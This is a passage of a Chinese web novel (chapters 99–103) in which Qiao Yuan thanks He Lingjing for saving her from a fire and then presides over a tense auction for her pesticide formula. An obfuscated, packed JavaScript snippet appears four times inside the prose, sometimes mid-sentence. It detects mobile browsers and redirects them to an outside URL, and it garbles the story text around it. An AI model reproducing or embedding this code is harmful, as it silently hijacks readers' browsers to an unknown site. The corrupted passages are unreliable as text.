“元姐儿前几日嘱咐的，说要给贺公子送的东西。”乔满山指了指后头的礼品堆，“要买齐这些东西，可费了我不少时日呢。” “这些东西，可是乔元一件件指明的？” 不知道江稷为何这样问，乔满山愣了一瞬道：“元姐儿只说挑最贵的就行，并未特地指明什么。” 江稷闻言，只觉得贴在里衣外头的护心镜更熨帖了些。他道：“你们先忙便是，我去唤乔元出来。” 说罢，他便往乔元所在的院落走去。 乔满山挠挠头，想不明白江稷是什么意思，只好先往正厅走去，好歇上一歇。 没成想走到半路，又被周素拦住了。周素面色又急又恼的，“孩子她爹，你快些过来，我有事同你说呢！” 99. 日子（六） 乔元从院里出来的时候，乔家几人一见着她，各个开始目光飘忽闪烁其词。 “发生什么事了？”乔元眉头面上带了疑惑。 生怕家里几个藏不住事的把话给透了，周素忙上前打着哈哈道：“无事无事。元姐儿，时辰不早了，我们得先去贺公子家才是。” “哎——阿娘。”稀里糊涂被周素推上马车，乔元仍旧觉得好似有哪里不对。周素见状忙给了乔永言一手肘，后者很是机灵地上前开口分散乔元的注意力。被乔永言这么一打岔，乔元也渐渐的没再纠结这事儿。 前几日乔满山就已经去打听过了，贺令璟住在金台县城边上的一处别院里。 别院同城里有些距离，为了方便出行，女眷和孩子坐马车，他们父子俩在后头赶着牛车，剩下江稷独自策马跟在一旁。 一行人走得浩浩荡荡的，牛车上又多是大包小包，打眼瞧着倒有几分像是一家人出游。 马车里头铺上了软垫，坐着很是舒适。官道两旁的林荫里深绿一片，挡住了高悬的烈日。凉风习习，没过多久，乔元就见车厢里头坐着的阿娘和弟弟开始犯起迷糊。 怕回头到了贺家瞧着没精神，乔元兀自掀开小窗上的帘子透透气。 金乌毫不吝啬地释放着它曜日的光芒，乔元把手伸到日光下感受着愈发炎热的天气，脑海里骤然想起前段时日江稷同她说的南边水患一事。 水患刚过又遇上这样的烈日，农作物是铁定活不成了。若是再碰上虫害肆虐，百姓的日子怕是不会好过。 心头阴云刚起，乔元就听得江稷道：“在想什么？” 乔元抬头一看，不知何时江稷已经夹着马腹与马车并行了。 “南边水患的事，可有消息了？”乔元探出头去问他。 江稷坐在马背上沉稳道：“司农寺已经在着手赈灾，听说严维运不日就要南下赈灾，想来出不了什么乱子。” “你可知大致的受害面积和情况？”水患对于生态环境的影响重大，不仅有直接的破坏作用，还会有间接的长期影响。 郢州先前的蚜害，就是灾后间接影响最直观的体现。 “你若想知道，我替你去寻消息来。”提到正事，江稷从不敷衍。 “那便劳烦你了。”乔元谢过他。 心头还说完这话，乔元将帘子放了回去。江稷不语，安静地策马跟在一旁。 这样又行了一刻钟，一行人终于到了贺令璟所住的别院。 别院以竹林为基，一条由石板铺就的小路蜿蜒穿过婆娑竹影，通向最里头的建筑。待马车行近，就见别院屋顶覆盖青瓦，檐下悬挂着几盏铜铃，随风发出零碎的金石声响，端得是古朴清雅。 马车停在门口，乔元利落跳下马车，又扶了周素下来，这才上前叩门。 没一会儿，大门从里而开，高锐从里头走了出来，冲她抱拳道：“乔姑娘。” 乔元依稀觉得面前这人有些面熟，但想不起在何处见过，只道：“敢问贺公子可在里头？” “公子已经在里头等候姑娘多时了。”高锐说着把大门全数推开。 乔元疑惑道：“贺公子知道我们要来？” 高锐笑道：“令尊前几日在闹市打听我们公子住处，商行的人听了一耳朵。” 原来如此。 乔元指了指外头的牛车道：“我们此行还带了不少东西来，怕是得劳烦你安置了。” 高锐闻言，唤了个小厮过来，让他将牛车牵下去把东西规整好。自己则恭恭敬敬地带着乔家一行人往贺令璟所在的地方走去。 跟着穿过清新雅致的回廊，又见影影绰绰的竹帘，踏过月门，这才到了后院。 院里郁郁葱葱，四处都是青竹，开阔之景让人豁然开朗。 贺令璟就这样在院内的躺椅上闭目小憩，他身侧的紫砂壶里，茶水正氤氲着热气。 似是听到了脚步声，他长睫微动睁眼看去，就见乔家一行人和江稷，正站在后院入口。 乔元冲他挥手道：“贺公子。” 贺令璟从躺椅上直起身来，将一只手藏在背后，笑道：“贵客到访，贺某有失远迎了。” “哪里，是我们贸然到访，劳烦公子了才是。”乔元带着家人往院里走。 贺令璟吩咐人再多搬几张椅子来，走到江稷面前冲他行礼道：“今日倒是巧，巡检使也跟着一齐来了。” 江稷挑眉道：“不算巧，陪着乔姑娘一齐来的。” 贺令璟神色不变，得体笑道：“倒是忘了，乔如今正住在巡检使的私宅里。” 他缓缓回身，冲乔元抱歉道：“前几日本想来看看乔姑娘，奈何巡检使派人拦着门不让进。在下只好送了点薄礼，便先回来了。”贺令璟的话顿了顿，接着道：“说起来，那日华行首也派人送了东西来，不知姑娘见着没有。” “什么？”乔元从未听说。 下一瞬，她的目光扫向了江稷。 江稷噎了一下，面上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881192|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却丝毫没有被拆穿的紧张，他游刃有余道：“那日你家无故起火，凶手不明。我将人尽数拦了，才能防止一些别有用心之人用此机会伤你。至于送的东西，已经让人尽数收拾在厢房了，包括……贺公子的。” 最后几个字，他是看向贺令璟一字一顿道的。 贺令璟笑着同江稷对视，温润道：“如此便好。” 两个男人的视线在乔元看不见的地方交汇冲击，最后重归于沉寂。 恰逢此时，仆役端了椅子上来。贺令璟率先收回目光，很是体贴地安排乔元一家人落座在院落的阴凉处，又派人送上时令瓜果，一行人这才絮絮说起话来。 “贺公子，你的手是？”乔元开口问道。 她方才就见贺令璟一直藏着左手不肯示人，直到他坐下将手归置于身前，才看到上头包着的白色纱布。 贺令璟垂头看向自己的左手，“前几日不小心伤到罢了，不打紧。” 侍立在他一旁的高锐明显有些不快，他道：“公子的手明明就是为了救乔姑娘所伤。” “高锐。”贺令璟的话音不重，却无故令人心头一紧。 高锐身子一僵，立时单膝跪地，“属下知错。” “你先下去。”贺令璟淡淡道。 高锐欲言又止，最终还是向他和乔家众人躬身，面带不忿地离开了院落。 “贺某管教下属不利，让大家见笑了。”贺令璟以茶代酒，面向众人饮了一杯。 “的确管教不利。”江稷的风凉话刚出口，小臂就被乔元拍了一下。 竹荫下，乔元瞪了他一眼，眼里带着三分恼意。 江稷嘴唇轻抿，随后上扬，他单手勾在椅背上，闭口不再言语。 “贺公子，那日若非你来相助，我定命丧火场，此间恩情实在太重，我自当铭感五内。”乔元起身，郑重朝他行了一礼。 “是啊，贺公子。”乔满山跟着道：“这份恩情，我乔满山定记上一辈子。往后若有什么事需要帮忙，你只管吩咐就是。” 贺令璟躬身单手扶起乔元，“乔姑娘，我那日意外听人说起青石巷着火，这才匆匆赶来救援。此事不过举手之劳，还请姑娘同你家人莫要放在心头才好。” “贺公子，不论是否路过，你的确救了我们，甚至还因此伤了手。”乔元看向他神色认真，“我知以公子今时今日的地位，我无法回报你什么。但有朝一日公子若有所求，只要不违反景朝律法，我乔元定当竭尽全力。” 100. 日子（七） 贺令璟没想到她如此郑重其事，如青竹般的男子垂首望进她的皓眸，温声道：“贺某并非挟恩图报之人，乔姑娘不必如此介怀。” 乔元摇摇头，“贺公子，好人就该得到好报。不论你答应与否，我既说了这话，绝不违诺。” “贺公子，我们一家同元姐儿是一样的想法，你就别客气了。”乔满山粗声道，余下的乔家人皆是目光灼灼地看向贺令璟。 乔家一番盛情难却，外头仆役又接连搬了牛车上的礼物进来。贺令璟几番推拒后，才叹道：“多谢诸位的一番好意，贺某应下就是。” 见他装模作样一场终于应下，后头的江稷闻言冷笑一声，眼底满是戏谑。 乔元分不出空去制止江稷，她只得硬生生将声调抬高了八度问道：“不知公子的手伤如何？可寻了良医医治？” 贺令璟抬眸看了江稷一眼，单手触碰着小臂上的纱布，“些许烫伤，药敷几日便见好了。乔姑娘不必担心。” “如此便好。”若是因为救她而落下疤痕，乔元心里只怕愈发过意不去。 一行人你一言我一语的在院子里说了会儿话，直到日头高起，贺令璟才出声道：“乔姑娘，买扑不日就要开始，你在此地耽搁良久怕是不好，还请尽早回去罢。” 乔元心头也正有此意，她是买扑的最终决定人，同竞买人过从甚密算不得是好事。 贺令璟嘴角噙着得体的笑容，一路送了他们至院外，直到见他们各自上了马车或是牛车，驾车走远，这才回身入了别院。 高锐似鬼魅一般自他身后出现，他面上的不忿已经消失的无影无踪，取而代之的是对贺令璟的绝对恭敬和服从，“主人，东西已经准备好了。” 贺令璟面容平淡，眼神透着拒人千里以外的冰冷，方才面对乔家一行人的温润公子，仿佛从未出现过。 他修长的手指一勾，小臂上碍事的纱布顷刻间滑落在了地上。浅麦色的皮肤上，丝毫没有被火焰灼伤后的痕迹。 遮挡的宽袖被放下，贺令璟抬步往里走去，冷声道：“广平郡王那处，可有什么动静？” —— 回到江稷的私宅后，周素拾掇着去后厨做饭，乔家父子几人则去将车马送回原处。 天朗气清，乔元拿了纸笔坐在院里，一边等着开饭，一边在纸上重写被烧毁的买扑细节。 雪白的宣纸上，颇有风骨的字迹落下。若是不究上头的字意，远看着倒像是一幅上好的字帖。 “这纸你用的可顺手？”江稷的影子落在宣纸上。 “比麻纸好用多了。”乔元笔尖不停。 过了半晌，她像是想到什么，顿了笔道：“就是太过靡费了些。” 江稷眉毛轻挑，笑道：“你且用罢，就这点子东西，还不至于被称作靡费。待日后去了京城，我给你寻更好的纸来，好叫你见识见识什么叫做真正的一纸千金。” 乔元脑子里尽是买扑的事儿，江稷说的话她听一半落一半，含糊的应了声，接着在纸上写起字来。 好好的日光被江稷挡住一大半，没写一会儿乔元就觉得有些眼酸，她忍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909973|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住抬头道：“你且往一旁稍稍。” 江稷看她这幅样子，哑然失笑道：“行，我不站着碍你的眼。邹尧就在院外守着，我出去一趟，片刻就回。” 乔元随意点头应下，全然只顾沉浸在自己的世界里。 江稷不再多说什么，带着笑意走出了院门。从私宅一路往东，再穿过一条小巷，人就出现在了一条老街上。 老街上屋瓦破败，行人寂寥，但唯有街尾的一处酒坊，仍旧十分热闹。酒坊被里三层外三层的围着，江稷听得里头有人高声喊道：“各位，千日醉已然售空，还请改日再来罢。” “我一连跑了三日，次次来都是售空，也不知道你是不是存心的。”人群里有人不满道。 站在酒坊面前的男人脸上带着笑，“这位官人，实在是不好意思，这几日醉仙居多订了不少酒，余下千日醉被前头的一位官人买走了，小店里头实在是没了。” 人群里吵吵嚷嚷的，不满声愈发大了。 江稷淡淡扫了一眼，避过人群，一个纵身就到了后院。 后院的瓶盏掉落一地，四处飘散着浓郁的酒香，深吸几口就似能醉人。江稷往里走了几步，推开了后院的一间屋子，屋子里头很是昏暗，入目是一缸缸满满的酒。 屋内最深处的躺椅上，躺了个面有刀疤的约莫四十多的中年人。 江稷进来的瞬间，男人紧闭的双眼骤然睁开。 下一瞬，一块玄铁打的令牌和一封信就落到了他的身上。 “把这封信送到边关，越快越好。” 101. 买扑（二） 一张张写有买扑细则的纸张被分发到众人手里，乔元拿到手上还未细看，就见从堂后走出来一个身着绯红官服的中年男人。 来人同周进交换了一个眼神，随后站在正堂中央朗声道：“诸位，我是今日的买扑主理人，郢州转运司推官孙禀。” 周进此时很是乖觉的下了上头的方阶，同孙禀躬身问好后道：“孙大人在郢州里便是负责往来买扑事宜的，今日的买扑事宜能全权交托他来执行，当真是本县的荣幸。” 转运司主要负责一州的财政、税收、同物资调配等事务。这样的部门，往来的都是鼻孔朝天的人物。孙禀能下到金台县来主理买扑事宜，想来中间应该有周进那位舅父的手笔。 乔元回身同江稷交换一下眼神，坐在凳子上没说话。 孙禀虽然是官，但在场的‘商户’个个背后的靠山都不是他能惹得起的。 他温声谢过周进，面向众人一揖后开口道：“今日买扑分成三个环节，即投标、评标和签契。诸位索要竞价的对象，便是乔姑娘研制的农药配方五年使用权。” 提及乔元，孙禀摇摇冲她一礼以示尊重。 乔元见状，自是颔首回礼。 他接着道：“具体的细则同条款，已经尽数写在了方才下发的纸张之上，还请诸位先行过目。” 纸上的内容，是乔元同周进早早定好，在前段时日众人来县衙商讨的时，就已经下发给商户们细看了的。 今日这般，说到底不过走个过场。 乔元快速扫了一眼手上的纸张，确认书写的内容无误，便将东西放置在一旁，等着孙禀的下一步动作。 半盏茶功夫后，确认所有人都对纸张上的东西皆已悉知，孙禀这才吩咐人送上来一个竹编的箱笼。 他拿着箱笼，上下翻转好让众人瞧个仔细。编箱笼的竹条又粗又宽，孙禀伸手进去，毫无妨碍的便能让大家看清他手上的动作。 “诸位请看，这便是用来存放竞价文书的箱笼，最是公正不过。自此刻起的半个时辰内，诸位可以将自家商量好的竞价文书投放入内，半个时辰后，我将不再接收竞价文书。” 他的话音刚落，便已经有人上前，将早就准备好的文书放了进去。 “钱记商行，文书已入。”孙禀看了一眼，高声说道。 文书是各家早几日就已经准备好的，方才的细则不过是最终确定。有了钱记商行带头，场面上的十几家商行，争先恐后的将文书投入箱笼内。连一炷香的功夫都不到，箱笼已经被塞的满满当当。 场上各家文书既已全数送入，便无须半个时辰这样长久的等待了。孙禀着人在一旁记录，开始当中清点文书里的竞价金额。 坐在乔元一旁的华兴贤很是闲适的抿了口茶，丝毫不在意孙禀的作为，他问向乔元，“丫头，你看我可能竞得你的农药使用权？” 乔元笑笑，“永丰商会富可敌国，若是华老想，哪里有您竞不到的东西？” 华兴贤闻言，很是爽朗的笑了出来，“丫头，你比你那师傅倒是圆滑不少。” “多谢华老称赞。”乔元并未觉得这话是在贬她。 清点文书是个大工程，不仅要确认上头的商户名称，还要再三核实上报的价格。清点的时候，众人也不能大肆说话走动。乔元在椅子上百无聊赖坐了不知多久，才听得孙禀道：“文书竞价结果已出，还请诸位上前一观。” 说罢，他身旁负责记录的人，便将一张约有二人环抱这样大的纸张，摊开悬挂在了早就准备好的看板之上。 在座之人，虽说都是见过大场面的，但华兴贤年事已高，已经多年没出现在外头参与买扑，便是再大的事儿，也多半是由他几个儿子代为决策。今日这遭，不知有多少人都想第一个冲到最上头，看看他到底会填上个什么价格。 孙禀见众人并未入预料般你追我赶的上前一观，便道：“既如此，就先请这一列的诸位，按先后顺序上前查看罢。” 有了他这句话，坐在乔元对面一排的商户领头人们，终是按捺不住，几步上前去看看纸张上头写的金额。 一阵阵吸气声在正堂内回荡，在看清最上头一骑绝尘的价格后，这些人的眼瞳里俱是压制不住的惊愕。 这这这……这价也太高了些罢！ 唯有贺令璟，在看过华兴贤的出价之后，面上丝毫没有意外的神色，就这样清清淡淡的重新坐回到椅子上。 一列看完，便轮到了乔元这一列。 最上头的华兴贤没动身，后头的人一时间也不敢妄动。 乔元见状，奇道：“华老不想去看看，万一有人抢在了您前头？” 华兴贤闻言抚髯一笑，“丫头，我只怕那人现在都未出生呢。你若是好奇，便替老夫去看看罢。” “那我去去就回。”乔元被方才这些商户的吸气声扰的有些心痒难耐，华兴贤这么一说，她的腿就已经朝上迈去了。 她一动身，后头的人你看我、我看你，也跟了上去。 看板上的纸张比在下头看的更大，上面一笔一划记录的很是清楚。乔元顺着纸张往上看，果不其然，找到了最上头一栏的永丰商会。 顺着这一栏往后看，后头跟着的金额——是整整一百万银锭！ 乔元下意识皱眉，这金额，连她自己都觉得有些太高了。 这段时日同江稷在一处耳濡目染的，她对景朝的了解比先前更深。自然也就知道，如金台县这样的小县城一年的税收，不过五万两上下。 一百万银锭，那得由多少个金台县托举才能凑出来。况且，这买的还不是永久使用权，而是仅仅五年。 乔元面有肃容，又往下看了一栏。 下头一栏的商户名称上，明晃晃写着贺家商行这几个字，后头跟着的价格——是八十万银锭。 ……？ 是她疯了还是他们疯了。 自己研制的农药虽说超过了这个时代应有的科技水平，但远不及这样的价格。 见乔元不复上去时的兴奋，华兴贤出声道：“丫头，怎的还不高兴了？可是觉得我的价提的太低了些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974123|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” “不不，”乔元连忙摇头，“华老，是太高了。” 农药走的都是薄利多销的路子，这么多的钱，要如何才能在五年内挣得回来。 华兴贤似是看出她心头所想，缓了声道：“我经商这么多年，从未做过亏本的买卖。丫头，你信我便是，你手里握着的这些东西，可远不止这个价。” 下头窸窣的讨论声，早就让等在一旁的周进急不可耐了。偏生他是本县的父母官，还不能作出一副猴急的样子丢了脸面。 好容易等到无人再看看板上的纸张，周进一个跨步就走了上去。在看清上头一行价格之后，他面上霎时泛出红光，像是被巨大的惊喜砸中。 天爷啊，他今年难不成是时来运转官运亨通了。 这可是整整一百万银锭！还是由华行首出的！顿时，他看向乔元的目光热忱无比，像是直接在眼里把她镀上了一层金。 乔姑娘她定是来渡他苦难的活菩萨啊！ 乔元此刻还在垂头沉思，哪里顾得上周进投来的炽热目光。倒是她身后的江稷看了周进一眼，双臂扶着乔元座椅的椅背，直接一个眼刀就杀了回去。 滚远些，死胖子。 周进狭小的眼瞳泛光，就等着同乔元对视，没成想等来的是江稷带着轻慢的目光，他卓然跃动的心火一熄，翻了个白眼重新坐了回去。 呵，晦气。 另一侧的孙禀，见众人皆已悉知纸上所公示的内容，开口道：“诸位若是对上头写的价格没有异议，我将在半个时辰后，请出乔姑娘早就交到县衙的评书，同华行首来做最后决定。” “孙推官且慢。”就在众人点头应和之时，贺令璟骤然出声。 登时，场上的目光尽数集中在他处，连乔元都有些意外的抬头。 贺令璟手中拿着扇子，淡笑着看着众人，云淡风轻道：“贺家商行，要竞价。” 他这一出声，原本对场上行事不甚在意的华兴贤抬起不满褶皱的眼皮，看向了贺令璟所在的方向。“贺公子这是打算砸我的场子？” 贺令璟起身对华兴贤一礼，“华行首这是哪里的话，买扑这事儿本就价高者得，哪里有砸场这么一说。” 华兴贤从鼻孔里冷哼出声，目露嘲弄。 贺令璟此人，表面上看上去是翩翩公子山巅明月，所言所行，却无一不透着他为人的狠辣的一面。像是捕食的螳螂，善于伪装，再在敌人最松懈时，一击即中。 孙禀也算是见识颇多的主理人了，见有人提价，他轻咳两缓了气氛才道：“现场竞价，须有二人以上的商户要求才能开启，贺公子既提出竞价，可还有人愿意相跟？” 就在堂内氛围凝滞之际，正堂最后一把椅子上，一个中年人骤然开口道：“远洋商会，愿意相跟。” 此言一出，全场哗然。 这便是公然同永丰商会叫板了！ 华兴贤瞥了一眼最后的中年男子，目光重新落在了面前温文尔雅的贺令璟身上，“看来这几年是我出来太少，倒叫小辈看轻了。” 102. 买扑（三） 话音刚落，华兴贤周身的气势陡然一变，带上了商海沉浮多年的凌厉，锐利的鹰眸扫过，叫堂上众人无端心头一惊。 方才跟着贺令璟出言的中年男人见华兴贤换了副面孔，交叠在一起的双手握紧，掌心一片濡湿。 整个正堂上，人人噤若寒蝉，吓得连大气都不敢出一下，只有贺令璟还是那副和气模样，“华行首实在多虑了，你我同为商人，自然知道乔姑娘所研制农药的价值。今日在此公平竞价，想来谁也不会吃亏才是。” “是吗？”华兴贤缓缓起身，走到正堂中央同贺令璟面对站定。面前的青年瞧着游刃有余，但说到底，不过是个意气用事的年轻人而已。 二人就这样不言不语的站了半晌，华兴贤忽然转向孙禀道：“孙推官，既有人相跟，我永丰商会万没有退让的道理，还请推官宣布罢。” 这样大的场面，叫孙禀的腿肚子有些微微发颤，但他好歹还维持着人前的体面，朝华兴贤点头道：“此次买扑，既有三家商户愿意现场竞价，那规则便由文书竞价改为现场竞价。还请诸位稍候，待我着人准备后便能开始。” 华兴贤和推官都发话了，堂上众人自是没有异议。不过他们的目光，控制不住的在华兴贤和贺令璟之间来回逡巡。 一位是历经多年的商海巨擘，一位是风头正劲的年轻后生。 芳林新叶催陈叶，流水前波让后波。 今日怕是还有的热闹。 吩咐一旁的属吏上前支起几张桌子，再唤了几个写字快的录事进来，孙禀趁着堂上还在准备东西的空隙，找到了一旁坐着看戏的周进。 “周知县，这可如何是好？”孙禀抬手擦了擦额前的汗珠。 周进早已被这冲天喜讯砸昏了头，哪里还能觉出不妥来，他不以为意的拍了拍孙禀的肩，“孙推官，这既是你情我愿的事儿，我们何必多掺一脚。万一惹得这几尊大佛不高兴，回头吃排头的还是我们。不若就这样……” 说罢，他对孙禀使了个眼色。 “可……”兹事体大，孙禀实在不敢就这样放任自流。 “无妨无妨，我们且先看看罢。若真出事，还有乔姑娘在呢。”周进打的一手好算盘。 话已然说到这份上，孙禀还能如何。待堂上的东西布置好，他走到正中央面向众人道：“诸位，现场竞价即刻开始。按照我朝买扑的规矩，后竞者叫价不得低于前者的百中之三。待场上无人出价，则由竞价最高者得。” 说完规则后，他吩咐人点燃了线香。 “竞价时限为一炷香，香落即止。” 他话一落下，远洋商会主事的中年男人第一个喊价道：“一百零三万。” 叫的是能竞的最低价。 远洋商会不过是贺令璟达成现场竞价的帮手，华兴贤心里头门清，他并未跟着竞价，而是在等贺令璟出价。 果不其然，在他喊完的当口，贺令璟轻敲扇子的手停下，“一百一十万。” 华兴贤曲腿换了个更舒服的坐姿，苍老的嗓音落在正堂每个人的耳中，“一百五十万。” 哗—— 整个正堂像是滚油锅里添凉水，立时一片哗然。不绝于耳的吸气和讨论声，甚至都盖过了孙禀在上头勉力维持秩序的叫喊声。 文书上的一百万银锭已然是他们难以掏出的天价了，如今华行首一口气竟加到了一百五十万！ 这可是整整五十万银锭呐！ 坐在正堂右侧的贺令璟丝毫没被堂上的声音影响，他面上笑容不变，开口道：“一百五十三万。” “两百万。” “两百零三万。” “两百五十万。” “两百五十三万。” 不论华兴贤喊到何等价格，贺令璟都会在上头稳稳添上三万。 眼看着二人喊的价格愈发越离谱，围观众人的呼声也越来越烈。现场竞价已然变成一场闹剧，一旁的乔元终于有些坐不住了。 她的身子刚离开椅子，肩膀就被江稷按住，他单手指唇，朝她比了个噤声的手势。“莫慌，再等等。” 乔元摇头，“我怕没法收场。” “华行首在景朝经商多年，这点场面于他不过小巧。”江稷沉稳道：“再等片刻看看。” 乔元知江稷所说不无道理，她回过身，指尖在桌子上轻点，压下心头的几丝躁意，接着看前头二人竞价。 价格在二人口中一路飙升，直到三百五十万。贺令璟这才缓了喊价的速度，松口道：“瞧华行首的样子，今日是势在必得了？” 华兴贤不动声色道：“怎的，贺家商行是拍不起了？” 贺令璟轻笑出声，身姿挺拔如青竹，面带诚恳道：“我贺家商行的确没有多余的银钱同行首再拍下去了，今日一遭，算我输了。” 见贺令璟这么轻易就认输，华兴贤面上并未见有多高兴，他没正眼看他，反倒垂手在掸平衣角的褶皱，“小子，往后行事可要稳妥些，有些价，并不是你想顶就能顶的。” 从二人第一次见面起，乔元就觉得华兴贤对贺令璟带着明晃晃的敌意。方才这句话，其中的不满意味就更甚了。 贺令璟像是没听出其中的嘲讽意味似的，温和朝他躬身道：“多谢行首，晚辈受教了。” 势头强劲的贺家商行这么轻易就认输了，正堂上铆足劲儿想拱着二人出价的众人，一时间只觉得心头茫然。 下方的乔元也没想到气势汹汹的竞价会以这么戏剧的方式戛然而止，在桌上轻敲的指尖停顿下来，她身子往后仰，略微放松了些。 倒是她身后的江稷双手抱胸，舌尖抵着腮帮子，很是玩味的看着今日这一幕。 贺令璟这厮到底在玩什么把戏？ 站在最上头的孙禀确认录事已经将现场竞价的所有细节都记录下来了，又接着同华兴贤和贺令璟二人一一核实后，这才高声道：“贺家商行同远洋商会既已弃标，那今日买扑现场竞价的最终胜者便是——” 永丰商会几个字还没出口。 从堂外突然跑进来一个身着深色长衫的中年男人，他几乎是卡着时间道：“等等！”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986031|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 众人被突如其来的变故一惊，上头的孙禀也停了口，几乎所有人都看着这个突然闯入的男人。 还未等孙禀开口，周进的毛病就犯了，他两手叉腰很是不耐道：“堂下何人！敢扰乱公堂！” 男人似是被周进的官威吓到，他“噗通”一声跪倒在地，却还是哆哆嗦嗦地朝着华兴贤大声道：“华行首，您别被他们骗了！贺家商行是受了乔姑娘指使才同您抬价的！” “什么？！”别说是华兴贤，骤然被点名的乔元也是惊愕不已。 什么叫是受了她的指使？ 周进闻言慌了神，他斥道：“哪里来的昏人，敢在公堂之上这样大放厥词，来人，快将他给我拖下去！” 候在堂上的属吏自然知道今日这场面的重要，周进一放话，他们立马就上前就打算拖了男人走。 不料男人在原地用力挣扎起来，他双拳用足了力气乱挥，任凭几个属吏一时间竟硬是拖不走他。 男人一边推打着上前的属吏，一边在下头一遍遍叫喊这，“这是他们的阴谋！行首您被骗了！您别上当啊华行首！” 男人真情实意的叫喊声牵动了堂上所有人的心绪，眼看着男人要被拖出了去，从他进入后一言不发的华兴贤将手头的茶盏拍到桌上，陶瓷触碰木板发出清脆的声响，众人只听得一声威严的嗓音道：“且慢！” 拉着男人的属吏们一时间不敢再动手，这反倒被男人抓住了机会。他看准时机挣脱属吏们的桎梏，连滚带爬的扑到华兴贤脚下，“华行首，我是永丰商会在此地的管事赵春来，今日这买扑就是针对您设计的一局棋啊！” 赵春来的话落到每个人的耳朵里，场上的骚动一时间连孙禀都强压不住。 “肃静——！”最后还是周进拍响了桌上的惊堂木，这才稍稍遏制住了堂下的喧闹声。眼看着到手的契书怕是要飞走，周进急的是吹胡子瞪眼满脸通红。 这叫什么事儿啊！ 华兴贤看了一眼脚边的赵春来，朝身后之人使了个眼色。很快，就有人扶了他起来。 华兴贤将身子往前倾上几分，带着浑身的威压向下，“你说的这些话，是什么意思？” 赵春来被人扶着站在正堂中央，他连气都没喘匀，听到华兴贤的问话，直直指着他下首的乔元道：“华行首，我昨日亲眼所见，乔姑娘去了贺家宅院里，一直在那儿待了半日工夫才出来。出来时还是贺公子亲自相送，二人言谈甚欢是万万抵赖不得的。” 他换了口气又道：“今日这买扑，明明文书竞价已定，为何贺公子又突然要求现场竞价却又骤然松口。行首，这便是她们二人之间不可告人的阴谋啊！” 前头贺令璟突然不再竞价本就惹人起疑，但竞拍这回事，自古都是价高者得，大家倒也不是不能理解。 可这一切，在赵春来说出这一席话之后，完全变了味儿。 众人心里头只觉得他说的有理，贺令璟为何在明知自己不敌华行首的情况下，还要强行抬价？ 难不成，他真是受了乔姑娘指使？ 103. 买扑（四） 一道道怀疑的目光如同利剑射向了乔元，渐趋的讨论声就像是翻滚的热浪，裹挟着灼热的气流朝她冲来。 方才还被奉为座上宾的乔姑娘，转眼间便成了人人口中指摘的对向。他们或交头接耳，或窃窃私语，但每一个人的眉眼里，都充斥着对乔元的猜忌和怀疑。 反观一旁处在旋涡中心的乔元，单手撑着下巴，眉眼松散闲适，正很有兴味的拨弄着茶盏，面上不见丝毫紧张慌乱。 方才赵春来说出那句‘受她指使’的荒诞话语时，乔元的确有两分心神不稳。但在他一口气说完自己的所谓‘证据’后，她心下只余一片从容。 赵春来似也没想到乔元在被他当场拆穿，还是一副淡然神情。他面向乔元，倨傲开口道：“乔姑娘，我方才所言，你可认否？” 乔元拨弄茶盏的手一顿，抬眸看向他，弯起眼睫笑道：“认的。” 竟是连反驳都没有就直接认下了！ 场内的气氛凝滞一瞬，紧接着爆发出比方才更为嘈杂的议论声。声浪一声高过一声，顷刻间就把乔元吞没。 赵春来似是没想到乔元这么轻易的就认罪了，他先是一愣，随后有些亢奋的高声道：“大家都听到了罢，乔姑娘亲口认下了，她同贺公子过从甚密！” 一石激起千层浪。 赵春来的话音还没落下，单指向乔元的话语批判话语接踵而至。 坐在椅子上的人都是有头有脸的人物，在事情被证实之前自然不会吭声。但余下站着看热闹商贾便不同了，他们最会的便是见人说人话见鬼说鬼话。 “她竟这样恬不知耻的认下了！” “还说是严老弟子，我看也不过如此。” “上头那贺公子长得一表人才，不像是会耍心眼的样子，定是被她给骗了。” “这姑娘看着天真坦率，没成想城府竟这样深。她严老弟子的身份，莫不是用了什么手段得来的？” “多半是了，没准靠的 